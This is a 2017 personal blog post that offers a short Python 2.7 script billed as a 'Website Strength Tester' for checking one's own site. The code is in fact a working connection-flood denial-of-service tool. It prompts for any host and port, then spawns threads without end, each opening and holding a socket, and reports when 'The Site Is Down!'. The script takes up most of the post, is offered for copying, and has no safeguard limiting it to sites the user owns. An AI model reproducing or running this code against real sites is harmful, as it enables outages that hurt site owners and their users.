safe website strength testing
nav_first.pngFirst: blog:1
Private Server Community
Edited: 05 Jun 2017 17:47 by: Slater River
Comments: 0
Tags: aqwps partner plasmily private-server shutdown slater-river
nav_prev.pngPrevious: blog:4
creating a computer voice from from text insertion
Edited: 06 Jun 2017 14:27 by: Slater River
Comments: 0
Tags: anonymous computer-voice program python script smart-phone
nav_last.pngLast: blog:8
connecting a database to your website using php and msql database
Edited: 18 Jun 2017 00:09 by: Slater River
Comments: 0
Tags: connect database db mysql mysqli pdo php
nav_next.pngNext: blog:6
creating a great readme.txt file
Edited: 08 Jun 2017 16:46 by: Slater River
Comments: 0
Tags: developer readme.txt tips website-design

Slater RiverSlater River wrote on 07 Jun 2017 15:40
Tags: python python-2.7 script testing website-strength-tester

I have created many websites knowing that I am unprotected until I got a script that could protect my site. I realized though that I needed to make sure that the script works so I created a script for testing purposes only. It can be used for other purposes but I am not like that.

All you need in order for the script to work is Python 2.7+. When you get that installed on your computer just simply open the script up and run it. It will give you further instructions on what to do.

If you would like to have a copy of the script than copy the code below. Note that this code is under a creative commons copyright.

"""
Website Strength Tester
 
Written by Slater River
 
iNamer Version 0.2
"""
from os import *
from socket import *
from string import *
from random import *
from time import *
from thread import *
 
print "\a"
print " "
print "Starting service. Please wait. . . ."
print " "
 
# insert website info
host = raw_input("IP Address Or Website URL:  ") # insert desired ip address or url
print " "
port = int(input("Insert Port Number: ")) # insert desired port number ex. port 8080
print " "
 
# connection to open sockets
def connect(i):
    try:
        sock1 = socket(AF_INET, SOCK_STREAM)
        sock1.connect((host, port))
        sleep(99999)
        sock1.close
    except:
        print "The Site Is Down!"
 
n = 9999999999999
 
while 1:
    try:
        start_new_thread(connect, (n,))
    except:
        print "Your Connection Is Weak. Try Restarting The Script."
    print "Thank You For Using iNamer! Have a Wonderful Day!"
    sleep(0.1)

Add a New Comment
or Sign in as Wikidot user
(will not be published)
- +
Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License